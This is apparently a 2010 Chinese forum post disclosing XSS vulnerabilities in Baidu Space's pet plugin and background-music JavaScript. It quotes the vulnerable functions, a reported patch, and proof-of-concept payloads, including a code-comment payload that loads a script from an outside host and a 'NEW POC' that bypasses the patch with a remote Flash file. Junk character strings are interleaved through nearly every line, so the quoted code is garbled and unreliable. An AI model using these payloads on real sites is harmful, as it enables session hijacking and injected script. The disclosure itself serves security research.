百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 5 V1 s# T, y/ E, [" n/ j6 A
?' t7 @% o: J) P6 [1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 6 Y; x' J) e1 N ^
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 # ^$ }; h" M# X8 A- B2 |. w
; g0 ?; S, p0 h( c
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 6 P! L' f9 P9 i0 P& D/ c7 m
其中BdUtil.insertWBR为 1 Y2 c" ?( s0 a2 v* [- y; V! B% o
function(text, step) {
' _5 |' B; e! K* Z7 w var textarea = textAreaCache || getContainer();
X! m. k1 X/ N+ T+ S if (!textarea) {
' y Q5 T2 O/ k# ^: K- ?9 ]0 k& x" J return text;
3 |' I: @: C; ^1 X5 I1 @. [' l' K! z }
+ V p. X. k9 A& y textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
3 h# J# M- h% w3 d+ M. P var string = textarea.value;
$ q8 C$ [. m7 X) F% i. j$ { var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); " W( H. v& x$ R7 d
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
( s z; ^: x5 W6 Z! g$ [- L return result; * g6 P+ ?" ^5 d6 `
}
9 i) F7 \) j/ ~9 m在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
4 [& m$ z" N* k2 x Q" Q# o测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> & W9 j' s, {9 \' m$ S# ~7 t4 r
: Y8 K& d/ O6 r2 E R2 q
二:creatbgmusic() Dom-Xss Bug 6 {+ L: r" n x' T5 a' n
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
: @* z$ p/ N _' X6 S! [# m7 u% m) K
. O- G) P9 R& w! }( j在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: 5 o6 i. P6 G* [
: K* ?# j0 A) J' z% ]5 d7 G+ ofunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { : S B/ I3 b; m9 F
//传入的murl赋值到bgmusic1和bgmusic2中 4 o$ c( s8 v2 t8 m$ Z6 u$ \
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 9 \5 e2 [3 C) O- ]1 C/ g
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; ( t4 l" ?2 f7 W$ `: f- i# W
if (musicnum <= 1) {
/ b+ B. Y* {6 ]' G/ @ bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; ; Q9 Z# P6 V4 t
} ; J; o9 B/ q) [$ n% n' S
bgmusic1 += "</OBJECT>";
q8 [5 u8 b( N0 [- W% T. c var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
/ b$ Q( H. W. k# c- O. t( f7 e if (musicnum <= 1) {
, J4 z$ c6 `2 X) T, i bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
: z* m; y, J, x3 ` }
6 I2 x! O+ c5 U) j4 A# L# ~* H bgmusic2 += "> </EMBED>"; 4 L; R5 X& c {( f; G' h
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
7 ~ f- Q8 x3 k var bgmus = detectWMP(); 4 q( p8 H2 Q4 E
if (functype == "FckMusicHelper") { % V( o( A. c; ?8 k
if (bgmus.installed) {
2 b5 T5 ]7 U. a& i4 N if (bgmus.type == "IE") { 1 E& a- O; I* B1 U% @' K* X
return bgmusic1;
6 X5 _7 O% d: s1 v) c2 K } else if (bgmus.type == "NS") { " W7 c9 X( C: P5 `
return bgmusic2; ' V* q5 ^) |2 ^7 _, V! @% T9 Z7 K
}
2 K$ R& L/ p! X ~, t# ~ } else {
1 d( Y9 F* K" p7 ?4 t$ r return bgmusic3;
) E, Y0 @5 i: t( a } 8 ]# x$ b2 V& H: t; N G; K! P" S
} else {
) r/ t- o6 ]; S3 @ if (bgmus.installed) {
/ g* j; W- ] ?* h //document.write 直接输出bgmusic变量 导致xss
) O4 O8 \ l, T0 m# a: N if (bgmus.type == "IE") {
4 I3 P8 g7 ?8 H6 t document.write(bgmusic1); $ I; W; F9 ]- g( c' R4 A8 {
} else if (bgmus.type == "NS") {
8 t4 E P# Z6 i2 i3 A document.write(bgmusic2);
, z' {* m8 R; q } ; {( z! E: s3 w/ B5 ~; s+ b) c, H& b
} else { 3 C$ d. y5 J* j! v. T9 I" C
document.write(bgmusic3);
0 X2 C& k0 J/ \, a- z8 ? }
1 y G- P8 ~5 \9 C) I+ ]: }9 U return ""; 6 @( z( S3 ^2 q: `, M
} & k: T3 h0 n0 K
}
( J/ a+ l6 T* [/ d' D: U6 [8 {' z9 |$ a7 n
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: ' t4 g+ T, N' g; }, h+ J$ V
d9 g2 r! J9 V# u$ Rfunction initBlogTextForFCK(){
6 U8 @7 ]+ S' u K//fck init music
: V ^8 Q& r( I% A3 A/ `' Gif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 0 k# p/ e9 z* X. Q( s
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 * k0 J( L5 |& K. w% w
var isAutoPlay=true; " j1 i9 X! Q' P; Y' x
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 5 G) X3 N. w$ m# {; L1 A6 C
var img=imgBox; . n3 m& `" ^ A- @3 h7 k9 Z
if(img.getAttribute(’rel’)){ , B4 B# a7 j4 v" C" J `
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
7 @ U7 T% n- X/ e var musicDiv = document.createElement("SPAN");
8 | |6 a2 T& V; @4 v; L: E var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
. _ \* w- }; y+ C & d1 b5 n- {5 [
..........................
3 H- ]) {8 \0 O, s6 D
; d! P# z8 c1 P" Q& t* x d //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. d( P) L5 }: L# Q2 m& v3 W) E
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); * e7 `( t1 W* U8 r/ E2 ^7 Y6 Z; P8 o
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
4 S, i/ {. U& h. w) D musicDiv.innerHTML=shtml;
n' l W; z+ l# k i--;n--;
& P$ M Y2 u1 e- f8 L }
2 r2 h: f! N9 i1 X} ! Z) m2 y z5 Q, F
' _: V, Y, {2 R* _ T7 h9 {7 N0 |从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. $ k6 h( X- [& e
) u1 [4 X0 ~4 }$ ~
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> ( |7 l# ^1 L u9 z9 J
2 i- e$ Y- ?0 N8 z" ?
等待官方补丁 * ~. u; ~4 x9 t% n1 U- h2 t
/ \) ]5 B! }. ?3 y6 Gupdate 2010年5月13日
! [( P; o# K5 X( F2 z. { w2 n& K. c
官方补丁:
& ]+ c1 G K) O+ V# {* x2 S# }# q$ h6 E
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 8 _3 b5 S ?' c) \$ b
改为:
( e; o5 Z& D5 y& D9 A1 d' evar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
c2 K: z4 |* P/ P& C- z
. A+ e9 X3 h! }update 2010年5月13日 21:50:37 ; f" E" x) s( n: x u) i4 S1 `
" H8 q* v# X$ Q4 w* M
补丁存在漏洞 没有过滤" 可以继续跨:
8 e& A, O1 P% ?" L* i# k% \, [1 V) A3 N7 N/ T
NEW POC: 2 n* l5 \0 m( r' V' Y" g6 c0 v
8 m- M A% |- N ~) |5 {<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" $ g* x# y" b) u, G0 k
, w( j9 j# d: ^allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
7 A0 I# d7 q% N% o
9 T$ N7 o5 M9 p( S( ?* i# i |